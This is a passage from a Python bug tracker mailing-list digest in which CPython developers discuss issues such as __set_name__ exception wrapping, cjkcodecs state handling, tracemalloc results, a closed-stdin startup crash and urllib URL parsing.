normal stage: needs patch status: open title: Remove exception wrapping from __set_name__ calls type: enhancement versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 01:41:49 2018 From: report at bugs.python.org (Carl Meyer) Date: Sat, 19 May 2018 05:41:49 +0000 Subject: [issue33577] remove wrapping of __set_name__ exceptions in RuntimeError Message-ID: <1526708509.94.0.682650639539.issue33577@psf.upfronthosting.co.za> New submission from Carl Meyer : Per Nick Coghlan in discussion on issue21145: "I think it would make sense to remove the exception wrapping from the __set_name__ calls - I don't think we're improving the ease of understanding the tracebacks by converting everything to a generic RuntimeError, and we're hurting the UX of descriptor validation cases like this one." https://github.com/python/cpython/blob/master/Objects/typeobject.c#L7263 ---------- components: Interpreter Core messages: 317099 nosy: carljm priority: normal severity: normal status: open title: remove wrapping of __set_name__ exceptions in RuntimeError versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 01:41:51 2018 From: report at bugs.python.org (Nick Coghlan) Date: Sat, 19 May 2018 05:41:51 +0000 Subject: [issue21145] Add the @cached_property decorator In-Reply-To: <1396520932.53.0.707047361064.issue21145@psf.upfronthosting.co.za> Message-ID: <1526708511.52.0.682650639539.issue21145@psf.upfronthosting.co.za> Nick Coghlan added the comment: I filed https://bugs.python.org/issue33576 to cover removing the exception wrapping from __set_name__ errors. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 01:42:21 2018 From: report at bugs.python.org (Carl Meyer) Date: Sat, 19 May 2018 05:42:21 +0000 Subject: [issue21145] Add the @cached_property decorator In-Reply-To: <1396520932.53.0.707047361064.issue21145@psf.upfronthosting.co.za> Message-ID: <1526708541.88.0.682650639539.issue21145@psf.upfronthosting.co.za> Carl Meyer added the comment: Makes sense to me. Sounds like a separate issue and PR; I filed issue33577 and will work on a patch. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 01:43:22 2018 From: report at bugs.python.org (Carl Meyer) Date: Sat, 19 May 2018 05:43:22 +0000 Subject: [issue33577] remove wrapping of __set_name__ exceptions in RuntimeError In-Reply-To: <1526708509.94.0.682650639539.issue33577@psf.upfronthosting.co.za> Message-ID: <1526708602.83.0.682650639539.issue33577@psf.upfronthosting.co.za> Carl Meyer added the comment: Oops, duplicate of issue33576. ---------- resolution: -> duplicate stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 01:43:49 2018 From: report at bugs.python.org (Carl Meyer) Date: Sat, 19 May 2018 05:43:49 +0000 Subject: [issue21145] Add the @cached_property decorator In-Reply-To: <1396520932.53.0.707047361064.issue21145@psf.upfronthosting.co.za> Message-ID: <1526708629.9.0.682650639539.issue21145@psf.upfronthosting.co.za> Carl Meyer added the comment: Oops, never mind; closed mine as dupe. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 02:20:24 2018 From: report at bugs.python.org (Carl Meyer) Date: Sat, 19 May 2018 06:20:24 +0000 Subject: [issue33576] Remove exception wrapping from __set_name__ calls In-Reply-To: <1526708479.7.0.682650639539.issue33576@psf.upfronthosting.co.za> Message-ID: <1526710824.87.0.682650639539.issue33576@psf.upfronthosting.co.za> Change by Carl Meyer : ---------- keywords: +patch pull_requests: +6637 stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 02:36:11 2018 From: report at bugs.python.org (Carl Meyer) Date: Sat, 19 May 2018 06:36:11 +0000 Subject: [issue33576] Remove exception wrapping from __set_name__ calls In-Reply-To: <1526708479.7.0.682650639539.issue33576@psf.upfronthosting.co.za> Message-ID: <1526711771.07.0.682650639539.issue33576@psf.upfronthosting.co.za> Carl Meyer added the comment: Nick, I think the reason this exception wrapping was added is because the stack trace for these exceptions is currently a bit lacking. The "caller" for the `__set_name__` function is the `class` line for the class containing the descriptors. For exceptions raised _inside_ `__set_name__` this is kind of OK, although if a class has multiple instances of the same descriptor class on it, it doesn't give you an obvious clue which instance raised the exception ( though you can probably figure it out quickly enough by checking the value of the `name` argument). For cases where the exception is raised at the caller (e.g. a TypeError due to a `__set_name__` method with wrong signature) it's worse; you get no pointer to either the problematic descriptor instance, or its name, or the class; all you get is the TypeError and the class that contains a broken descriptor. In practice I don't know how much of a problem this is; it doesn't seem likely that it would take too long to narrow down the source of the issue. Let me know what you think. ---------- nosy: +carljm _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 02:53:29 2018 From: report at bugs.python.org (Alexander Mohr) Date: Sat, 19 May 2018 06:53:29 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1526712809.67.0.682650639539.issue33565@psf.upfronthosting.co.za> Alexander Mohr added the comment: I realize it doesn't track leaks, it's a tool to help find leaks when used correctly :) This example should be similar to using the compare snapshots mechanism as I start tracking from a stable point (several iterations in after a gc), and then compare to another stable point several iterations later. I have a much more complicated set-up at our company but wanted to keep the example as short as people complain here about large examples. Further I realize how tracemalloc works, I have a lot of experience in leak hunting from my c++ days, I've even written my own native version of tracemalloc before (it's not hard). The top stat is what bubbles up as the largest leak after a number of runs, that's why the results are so peculiar. I've used tracemalloc before to find https://bugs.python.org/issue29870 in 3.5.2 and there the results made sense, here it makes no sense. To my understanding there should not be any interned strings or other items that would cause this particular callstack to be the top hit of unreleased blocks of memory (leaks). I still don't see any credible reason from why that callstack would be returned. I still believe there's a real bug here, perhaps there's a leak inside the python interpreter implementation it's trying to point out? I think it's worth investigating. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 03:00:06 2018 From: report at bugs.python.org (Christopher Thorne) Date: Sat, 19 May 2018 07:00:06 +0000 Subject: [issue33578] cjkcodecs missing getstate and setstate implementations Message-ID: <1526713206.06.0.682650639539.issue33578@psf.upfronthosting.co.za> New submission from Christopher Thorne : The cjkcodecs module provides support for various Chinese/Japanese/Korean codecs through its MultibyteIncrementalDecoder and MultibyteIncrementalEncoder classes. While working with one of these cjkcodecs (euc-jp), I came across an issue where calling TextIOWrapper.tell() was causing a decode error on a valid euc-jp file: >>> with open("/tmp/test", "w", encoding="euc-jp") as f: ... f.write("AB\n??\n") ... 6 >>> with open("/tmp/test", "r", encoding="euc-jp") as f: ... f.readline() ... f.tell() ... f.readline() ... f.readline() ... 'AB\n' 4 '??\n' Traceback (most recent call last): File "", line 5, in UnicodeDecodeError: 'euc_jp' codec can't decode byte 0xa4 in position 0: incomplete multibyte sequence Without the tell(), there is no problem: >>> with open("/tmp/test", "w", encoding="euc-jp") as f: ... f.write("AB\n??\n") ... 6 >>> with open("/tmp/test", "r", encoding="euc-jp") as f: ... f.readline() ... f.readline() ... f.readline() ... 'AB\n' '??\n' '' After looking at _io_TextIOWrapper_tell_impl in textio.c, I understood that tell() is not as trivial as one might expect as it is using a "reconstruction algorithm" [1] to account for buffered chunk reads. By default, TextIOWrapper reads from its underlying stream in chunks of 8092 bytes and then decodes and buffers this data for speed efficiency. As a result, TextIOWrapper.tell() can't just call tell() on the underlying stream because the stream's tell() will usually be too far ahead. Thus, a reconstruction algorithm is used to calculate how many bytes of the buffered chunk have actually been read so far by the user. The reconstruction algorithm could be trivial for single byte codecs - just track the number of characters read so far, e.g. each time read() is called. However, for multibyte codecs where the number of bytes representing a character is not uniform nor reported by the decoder, the character count alone isn't sufficient. What CPython does for this is jump to a "snapshot" point where the decoder is in a clean state (i.e. not halfway through a multibyte read) and feeds it bytes to generate characters, counting as it goes, until the number of characters it tracked from user reads are generated. From this, it knows the number of bytes it took to reach the point the user is at and can calculate the correct tell() value. Now this is where the problem comes in: the reconstruction algorithm depends on a reliable way to detect when the decoder is in a "clean state". The getstate method [2], which returns any pending data the decoder has, is used for this. However, in the case of cjkcodecs, the getstate implementation is missing. This can be seen in the following example: >>> import codecs >>> decoder = codecs.getincrementaldecoder('euc_jp')() ... decoder.decode(b'\xa4\xa6') # Decode a complete input sequence '?' >>> decoder.getstate() # There should be no state here (working) (b'', 0) >>> decoder.decode(b'\xa4') # Decode first half of a partial input sequence '' >>> decoder.getstate() # There should be state here (not working) (b'', 0) Internally, however, the cjkcodecs do hold state. They just don't expose it. This leads to unexpected results in the reconstruction algorithm, such as the tell() bug demonstrated above. It appears decoder.setstate [3], encoder.getstate [4], encoder.setstate [5], are also not implemented for the cjkcodecs. This leads to other issues in code that assumes their implementaton is present (e.g. TextIOWrapper.seek). I will attach a PR shortly with some tests and proposed implementations. This is my first time working with the CPython codebase, so apologies if I've overlooked anything. Finally, here is a somewhat related issue with a mention of the same tell() bug at the end: https://bugs.python.org/issue25863 However, the main problem identified in that report requires further changes than just adding getstate as it's caused by the more fundamental issue of encoder and decoder state not being kept in sync. (Also, I have added the reporter of that issue to the nosy list for this one as I assume they have some familiarity with this bug) [1] https://docs.python.org/3/library/io.html#id3 [2] https://docs.python.org/3/library/codecs.html#codecs.IncrementalDecoder.getstate [3] https://docs.python.org/3/library/codecs.html#codecs.IncrementalDecoder.setstate [4] https://docs.python.org/3/library/codecs.html#codecs.IncrementalEncoder.getstate [5] https://docs.python.org/3/library/codecs.html#codecs.IncrementalEncoder.setstate ---------- components: IO, Tests messages: 317106 nosy: libcthorne, martin.panter priority: normal severity: normal status: open title: cjkcodecs missing getstate and setstate implementations type: behavior versions: Python 2.7, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 03:06:57 2018 From: report at bugs.python.org (Roundup Robot) Date: Sat, 19 May 2018 07:06:57 +0000 Subject: [issue33578] cjkcodecs missing getstate and setstate implementations In-Reply-To: <1526713206.06.0.682650639539.issue33578@psf.upfronthosting.co.za> Message-ID: <1526713617.81.0.682650639539.issue33578@psf.upfronthosting.co.za> Change by Roundup Robot : ---------- keywords: +patch pull_requests: +6638 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 03:41:23 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 19 May 2018 07:41:23 +0000 Subject: [issue19251] bitwise ops for bytes of equal length In-Reply-To: <1381694847.24.0.709324715816.issue19251@psf.upfronthosting.co.za> Message-ID: <1526715683.65.0.682650639539.issue19251@psf.upfronthosting.co.za> Terry J. Reedy added the comment: The last three posts have convinced me that 'efficient bit operations', not tied to the int type, are worth exploring, without immediate restriction to a particular API. I can see that micropython is a significant new use case. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 04:27:52 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 19 May 2018 08:27:52 +0000 Subject: [issue32996] Improve What's New in 3.7 In-Reply-To: <1520251006.69.0.467229070634.issue32996@psf.upfronthosting.co.za> Message-ID: <1526718472.68.0.682650639539.issue32996@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Sorry, I appreciate your work, Elvis, but the current version of PR 6978 seems containing too much insignificant details, which are not worth an entry in What's New. They distract attention from important changes. I think this PR should be significantly shortened. To me, What's New is not a structured copy of Misc/NEWS. It serves two purposes: 1. Advertising new features. 2. Warning about possible breaks or future breaks. If the change doesn't add a new way of doing something and doesn't break significant part of code, it is not worth mentioning in What's New. PR 6978 also adds entries for bug fixes, which shouldn't be in this document. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 04:45:06 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 19 May 2018 08:45:06 +0000 Subject: [issue19251] bitwise ops for bytes of equal length In-Reply-To: <1381694847.24.0.709324715816.issue19251@psf.upfronthosting.co.za> Message-ID: <1526719506.34.0.682650639539.issue19251@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I don't understand what relation this issue has with Nick's use case. If you need to access separate fields in a binary packed structure, adding support of extended PEP 3118 like syntax in memoryview can help you. If you want to to alter separate bits, you may need something like a bit array view. If you need to change specific physical memory, you need a different view object (maybe something in ctypes). But what relation all this have with b'123' ^ b'abc'? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 05:33:03 2018 From: report at bugs.python.org (Christian Heimes) Date: Sat, 19 May 2018 09:33:03 +0000 Subject: [issue33531] test_asyncio: test_subprocess test_stdin_broken_pipe() failure on Travis CI In-Reply-To: <1526452192.92.0.682650639539.issue33531@psf.upfronthosting.co.za> Message-ID: <1526722383.65.0.682650639539.issue33531@psf.upfronthosting.co.za> Change by Christian Heimes : ---------- nosy: +christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 06:36:40 2018 From: report at bugs.python.org (Martin Husemann) Date: Sat, 19 May 2018 10:36:40 +0000 Subject: [issue33384] Build does not work with closed stdin In-Reply-To: <1524996995.63.0.682650639539.issue33384@psf.upfronthosting.co.za> Message-ID: <1526726200.33.0.682650639539.issue33384@psf.upfronthosting.co.za> Martin Husemann added the comment: You need to exit the parent shell, to get the original stdin revoke(2)'d. That is: the Ctrl-D in the original descritpion is not line noise. Sorry, should have been more explicit (or used "exit" or something instead) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 06:41:39 2018 From: report at bugs.python.org (Eitan Adler) Date: Sat, 19 May 2018 10:41:39 +0000 Subject: [issue33579] calendar.timegm not always an inverse of time.gmtime Message-ID: <1526726499.81.0.682650639539.issue33579@psf.upfronthosting.co.za> New submission from Eitan Adler : How to reproduce: ?cat bad.py import time import calendar one = time.gmtime(1234567899) two = calendar.timegm(time.gmtime(1234567899)) three = time.gmtime(two) print(one) print(two) print(three) print(one == three) Expected behavior: the functions behave as documented: they are inverses Actual behavior: ?/srv/src/python/cpython/python bad.py time.struct_time(tm_year=2009, tm_mon=2, tm_mday=13, tm_hour=23, tm_min=31, tm_sec=15, tm_wday=4, tm_yday=44, tm_isdst=0) 1234567875 time.struct_time(tm_year=2009, tm_mon=2, tm_mday=13, tm_hour=23, tm_min=30, tm_sec=51, tm_wday=4, tm_yday=44, tm_isdst=0) False Details: python built from f65e31fee3 under debug mode ---------- messages: 317111 nosy: eitan.adler priority: normal severity: normal status: open title: calendar.timegm not always an inverse of time.gmtime _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 06:42:40 2018 From: report at bugs.python.org (Eitan Adler) Date: Sat, 19 May 2018 10:42:40 +0000 Subject: [issue33579] calendar.timegm not always an inverse of time.gmtime In-Reply-To: <1526726499.81.0.682650639539.issue33579@psf.upfronthosting.co.za> Message-ID: <1526726560.82.0.682650639539.issue33579@psf.upfronthosting.co.za> Change by Eitan Adler : ---------- components: +Library (Lib) type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 06:59:26 2018 From: report at bugs.python.org (Giampaolo Rodola') Date: Sat, 19 May 2018 10:59:26 +0000 Subject: [issue26826] Expose new copy_file_range() syscall in os module. In-Reply-To: <1461325239.41.0.30054024313.issue26826@psf.upfronthosting.co.za> Message-ID: <1526727566.91.0.682650639539.issue26826@psf.upfronthosting.co.za> Change by Giampaolo Rodola' : ---------- nosy: +giampaolo.rodola _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 07:03:45 2018 From: report at bugs.python.org (Mark Dickinson) Date: Sat, 19 May 2018 11:03:45 +0000 Subject: [issue33448] Output_Typo_Error In-Reply-To: <1525885359.71.0.682650639539.issue33448@psf.upfronthosting.co.za> Message-ID: <1526727825.41.0.682650639539.issue33448@psf.upfronthosting.co.za> Change by Mark Dickinson : ---------- stage: -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 07:11:25 2018 From: report at bugs.python.org (Elvis Pranskevichus) Date: Sat, 19 May 2018 11:11:25 +0000 Subject: [issue32996] Improve What's New in 3.7 In-Reply-To: <1520251006.69.0.467229070634.issue32996@psf.upfronthosting.co.za> Message-ID: <1526728285.31.0.682650639539.issue32996@psf.upfronthosting.co.za> Elvis Pranskevichus added the comment: Thanks for the feedback Serhiy! I'll make an editorial pass to address the comments shortly. In general, I prefer thoroughness in the initial What's New edit to make sure we don't miss something important. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 07:19:17 2018 From: report at bugs.python.org (Andrew Svetlov) Date: Sat, 19 May 2018 11:19:17 +0000 Subject: [issue33544] Asyncio Event.wait() is a hold over from before awaitable, and should be awaitable In-Reply-To: <1526489874.13.0.682650639539.issue33544@psf.upfronthosting.co.za> Message-ID: <1526728757.12.0.682650639539.issue33544@psf.upfronthosting.co.za> Andrew Svetlov added the comment: -1 for the proposal ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 07:19:27 2018 From: report at bugs.python.org (Leonardo Taccari) Date: Sat, 19 May 2018 11:19:27 +0000 Subject: [issue33384] Build does not work with closed stdin In-Reply-To: <1524996995.63.0.682650639539.issue33384@psf.upfronthosting.co.za> Message-ID: <1526728767.18.0.682650639539.issue33384@psf.upfronthosting.co.za> Leonardo Taccari added the comment: A simpler way to reproduce that (probably this problem is not limited to building but to sys module): (sleep 10; python3.6 -c 'import sys' >/tmp/log 2>&1) & exit And in `/tmp/log': Fatal Python error: Py_Initialize: can't initialize sys standard streams OSError: [Errno 9] Bad file descriptor Current thread 0x00007226e0ab3800 (most recent call first): ---------- nosy: +leot _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 07:25:56 2018 From: report at bugs.python.org (Giampaolo Rodola') Date: Sat, 19 May 2018 11:25:56 +0000 Subject: [issue25156] shutil.copyfile should internally use os.sendfile when possible In-Reply-To: <1442520485.03.0.419427125487.issue25156@psf.upfronthosting.co.za> Message-ID: <1526729156.11.0.682650639539.issue25156@psf.upfronthosting.co.za> Change by Giampaolo Rodola' : ---------- nosy: +giampaolo.rodola _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 07:27:44 2018 From: report at bugs.python.org (Giampaolo Rodola') Date: Sat, 19 May 2018 11:27:44 +0000 Subject: [issue25063] shutil.copyfileobj should internally use os.sendfile when possible In-Reply-To: <1441910330.09.0.484556764779.issue25063@psf.upfronthosting.co.za> Message-ID: <1526729264.22.0.682650639539.issue25063@psf.upfronthosting.co.za> Change by Giampaolo Rodola' : ---------- nosy: +giampaolo.rodola _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 08:40:14 2018 From: report at bugs.python.org (Nick Coghlan) Date: Sat, 19 May 2018 12:40:14 +0000 Subject: [issue33576] Remove exception wrapping from __set_name__ calls In-Reply-To: <1526708479.7.0.682650639539.issue33576@psf.upfronthosting.co.za> Message-ID: <1526733614.89.0.682650639539.issue33576@psf.upfronthosting.co.za> Nick Coghlan added the comment: Hmm, I wonder if the UX problem with the current chaining might be solved in a different way, by doing something similar to what we did for codec exceptions (where we want to try to mention the codec name, but also don't want to change the exception type, and want to include the original exception text in the wrapper's message). The codecs related call is at https://github.com/python/cpython/blob/0c1c4563a65ac451021d927058e4f25013934eb2/Python/codecs.c#L389 but most of the heavy lifting has since been refactored out into the _PyErr_TrySetFromCause helper function: https://github.com/python/cpython/blob/55edd0c185ad2d895b5d73e47d67049bc156b654/Objects/exceptions.c#L2713 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 08:47:04 2018 From: report at bugs.python.org (Nick Coghlan) Date: Sat, 19 May 2018 12:47:04 +0000 Subject: [issue19251] bitwise ops for bytes of equal length In-Reply-To: <1381694847.24.0.709324715816.issue19251@psf.upfronthosting.co.za> Message-ID: <1526734024.33.0.682650639539.issue19251@psf.upfronthosting.co.za> Nick Coghlan added the comment: While it does match Christian's original suggestion, I'm not taking the "bytes" in the issue title as literally requiring that the feature be implemented as operator support on the bytes type (implementing it on memoryview or a new view type would likely meet the expressed need just as well). I'm also not sure why you're continuing to bring up PEP 3118 - C contiguous data is already supported in memoryview, so this shouldn't require any new data shapes support, it's mainly a question of which manipulations we decide we want to offer on viewed data. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 09:31:32 2018 From: report at bugs.python.org (Leonardo Taccari) Date: Sat, 19 May 2018 13:31:32 +0000 Subject: [issue33384] Build does not work with closed stdin In-Reply-To: <1526728767.18.0.682650639539.issue33384@psf.upfronthosting.co.za> Message-ID: <5b002731.1c69fb81.3c8f2.728d@mx.google.com> Leonardo Taccari added the comment: And here the backtrace of the corresponding core (this is on NetBSD/amd64 8.99.15 with lang/python36 package of today pkgsrc-current): % gdb -core python3.6.core `which python3.6` Reading symbols from /usr/pkg/bin/python3.6...done. [New process 1] Core was generated by `python3.6'. Program terminated with signal SIGABRT, Aborted. #0 0x000076255932924a in _lwp_kill () from /usr/lib/libc.so.12 (gdb) bt #0 0x000076255932924a in _lwp_kill () from /usr/lib/libc.so.12 #1 0x0000762559328e65 in abort () at /usr/src/lib/libc/stdlib/abort.c:74 #2 0x000076255a749d33 in Py_FatalError (msg=msg at entry=0x76255a7dea20 "Py_Initialize: can't initialize sys standard streams") at Python/pylifecycle.c:1462 #3 0x000076255a74af4c in _Py_InitializeEx_Private (install_sigs=1, install_importlib=1) at Python/pylifecycle.c:450 #4 0x000076255a764902 in Py_Main (argc=argc at entry=3, argv=argv at entry=0x76255ab01060) at Modules/main.c:700 #5 0x0000000000400e2f in main (argc=3, argv=) at ./Programs/python.c:69 (gdb) f 4 #4 0x000076255a764902 in Py_Main (argc=argc at entry=3, argv=argv at entry=0x76255ab01060) at Modules/main.c:700 700 Py_Initialize(); (gdb) f 3 #3 0x000076255a74af4c in _Py_InitializeEx_Private (install_sigs=1, install_importlib=1) at Python/pylifecycle.c:450 450 Py_FatalError( (gdb) list 445 if (_PyTraceMalloc_Init() < 0) 446 Py_FatalError("Py_Initialize: can't initialize tracemalloc"); 447 448 initmain(interp); /* Module __main__ */ 449 if (initstdio() < 0) 450 Py_FatalError( 451 "Py_Initialize: can't initialize sys standard streams"); 452 453 /* Initialize warnings. */ 454 if (PySys_HasWarnOptions()) { Please let me know if any further information is needed and I will try to help! Thank you! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 09:45:28 2018 From: report at bugs.python.org (Steven D'Aprano) Date: Sat, 19 May 2018 13:45:28 +0000 Subject: [issue33574] Conversion of Number to String(str(number)) In-Reply-To: <1526671827.02.0.682650639539.issue33574@psf.upfronthosting.co.za> Message-ID: <1526737528.44.0.682650639539.issue33574@psf.upfronthosting.co.za> Steven D'Aprano added the comment: Also note that shadowing builtins *deliberately* is a powerful and useful technique used for advanced programming. ---------- nosy: +steven.daprano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 09:49:36 2018 From: report at bugs.python.org (Martin Panter) Date: Sat, 19 May 2018 13:49:36 +0000 Subject: [issue33342] urllib IPv6 parsing fails with special characters in passwords In-Reply-To: <1524491070.85.0.682650639539.issue33342@psf.upfronthosting.co.za> Message-ID: <1526737776.11.0.682650639539.issue33342@psf.upfronthosting.co.za> Martin Panter added the comment: I presume this is about parsing a URL like >>> urlsplit("//user:[@host") Traceback (most recent call last): File "", line 1, in File "/home/proj/python/cpython/Lib/urllib/parse.py", line 431, in urlsplit raise ValueError("Invalid IPv6 URL") ValueError: Invalid IPv6 URL Ideally the square bracket should be escaped as %5B. Related reports about parsing unescaped delimiters in a URL password are Issue 18140 (fragment #, query ?) and Issue 23328 (slash /). ---------- nosy: +martin.panter _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 10:18:10 2018 From: report at bugs.python.org (Steven D'Aprano) Date: Sat, 19 May 2018 14:18:10 +0000 Subject: [issue33573] statistics.median does not work with ordinal scale In-Reply-To: <1526671785.76.0.682650639539.issue33573@psf.upfronthosting.co.za> Message-ID: <1526739490.0.0.682650639539.issue33573@psf.upfronthosting.co.za> Steven D'Aprano added the comment: For ordinal scales, you should use either median_low or median_high. I don't think the standard median function ought to choose for you whether to take the low or high median. It is better to be explicit about which you want, by calling the relevant function, than for median to guess which one you need. ---------- nosy: +steven.daprano _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 10:45:48 2018 From: report at bugs.python.org (Leonardo Taccari) Date: Sat, 19 May 2018 14:45:48 +0000 Subject: [issue33384] Build does not work with closed stdin In-Reply-To: <1524996995.63.0.682650639539.issue33384@psf.upfronthosting.co.za> Message-ID: <1526741148.4.0.682650639539.issue33384@psf.upfronthosting.co.za> Leonardo Taccari added the comment: After testing is_valid_fd() (from Python/pylifecycle.c) separately (an `is_valid_fd.c' file will be attached to ease reproduction) I think that also NetBSD is affected by bpo-30225. Using dup(2) (at is currently done in NetBSD): % cc -o ivf is_valid_fd.c % sleep 5 && ./ivf > /tmp/log & exit [... the terminal is closed via ^D ...] % cat /tmp/log 0: 1 1: 1 2: 1 Using fstat(2): % cc -DUSE_FSTAT -o ivf is_valid_fd.c % sleep 5 && ./ivf > /tmp/log & exit [... the terminal is closed via ^D ...] % cat /tmp/log 0: 0 1: 1 2: 0 The possible attached patch seems to fix the problem reported by Martin. ---------- Added file: https://bugs.python.org/file47604/patch-Python_pylifecycle.c _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 10:46:48 2018 From: report at bugs.python.org (Leonardo Taccari) Date: Sat, 19 May 2018 14:46:48 +0000 Subject: [issue33384] Build does not work with closed stdin In-Reply-To: <1524996995.63.0.682650639539.issue33384@psf.upfronthosting.co.za> Message-ID: <1526741208.94.0.682650639539.issue33384@psf.upfronthosting.co.za> Change by Leonardo Taccari : Added file: https://bugs.python.org/file47605/is_valid_fd.c _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 10:53:35 2018 From: report at bugs.python.org (Steven D'Aprano) Date: Sat, 19 May 2018 14:53:35 +0000 Subject: [issue33573] statistics.median does not work with ordinal scale In-Reply-To: <1526671785.76.0.682650639539.issue33573@psf.upfronthosting.co.za> Message-ID: <1526741615.62.0.682650639539.issue33573@psf.upfronthosting.co.za> Steven D'Aprano added the comment: By the way, this isn't a crash (that's for things which cause the interpreter to segfault). I'm marking this as Not a bug, but I'm open to suggestions to improve either the documentation or the median functions. ---------- resolution: -> not a bug type: crash -> behavior versions: +Python 3.7 -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 10:54:14 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 19 May 2018 14:54:14 +0000 Subject: [issue33576] Remove exception wrapping from __set_name__ calls In-Reply-To: <1526708479.7.0.682650639539.issue33576@psf.upfronthosting.co.za> Message-ID: <1526741654.37.0.682650639539.issue33576@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Unconditional replacing an exception is bad, because it can hide important exceptions like KeybordInterrupt or MemoryError. What if raise a new exception only if TypeError was raised? This will cover the case of a __set_name__() method with wrong signature. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 11:04:03 2018 From: report at bugs.python.org (Steven D'Aprano) Date: Sat, 19 May 2018 15:04:03 +0000 Subject: [issue33430] Import secrets module in secrets examples In-Reply-To: <1525510452.55.0.682650639539.issue33430@psf.upfronthosting.co.za> Message-ID: <1526742243.33.0.682650639539.issue33430@psf.upfronthosting.co.za> Steven D'Aprano added the comment: Unless I've mucked it up, I just committed your patch on Github so I'm closing this ticket. Thanks. ---------- stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 11:07:13 2018 From: report at bugs.python.org (Licht Takeuchi) Date: Sat, 19 May 2018 15:07:13 +0000 Subject: [issue33568] Inconsistent behavior of non-ascii handling in EmailPolicy.fold In-Reply-To: <1526645522.46.0.682650639539.issue33568@psf.upfronthosting.co.za> Message-ID: <1526742433.94.0.682650639539.issue33568@psf.upfronthosting.co.za> Change by Licht Takeuchi : ---------- keywords: +patch pull_requests: +6639 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 11:10:19 2018 From: report at bugs.python.org (Steven D'Aprano) Date: Sat, 19 May 2018 15:10:19 +0000 Subject: [issue33573] statistics.median does not work with ordinal scale In-Reply-To: <1526671785.76.0.682650639539.issue33573@psf.upfronthosting.co.za> Message-ID: <1526742619.44.0.682650639539.issue33573@psf.upfronthosting.co.za> Steven D'Aprano added the comment: What do you think of adding a note in the documentation for median? "If your data is ordinal (supports order operations) but not numeric (doesn't support addition), you should use ``median_low`` or ``median_high`` instead." ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 11:47:06 2018 From: report at bugs.python.org (Guido van Rossum) Date: Sat, 19 May 2018 15:47:06 +0000 Subject: [issue19251] bitwise ops for bytes of equal length In-Reply-To: <1381694847.24.0.709324715816.issue19251@psf.upfronthosting.co.za> Message-ID: <1526744826.48.0.682650639539.issue19251@psf.upfronthosting.co.za> Change by Guido van Rossum : ---------- nosy: -gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 11:47:22 2018 From: report at bugs.python.org (Carl Meyer) Date: Sat, 19 May 2018 15:47:22 +0000 Subject: [issue33576] Remove exception wrapping from __set_name__ calls In-Reply-To: <1526708479.7.0.682650639539.issue33576@psf.upfronthosting.co.za> Message-ID: <1526744842.06.0.682650639539.issue33576@psf.upfronthosting.co.za> Carl Meyer added the comment: Awkwardly, the motivating use case in issue21145 is a TypeError that we wanted to raise within __set_name__, and not have replaced. It feels a little ugly to special case TypeError this way. I like the _PyErr_TrySetFromCause idea. That function is a bit ugly too, in the way it has to try and sniff out whether an exception has extra state or is safe to copy and add extra context to. But in practice I think the results would be pretty good here. Most of the time you?d get the original exception but with added useful context; occasionally for some exception types you might just not get the extra context. But as long as TypeError falls in the former category it would help with the worst case. I?ll look at using that in the PR. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 12:26:42 2018 From: report at bugs.python.org 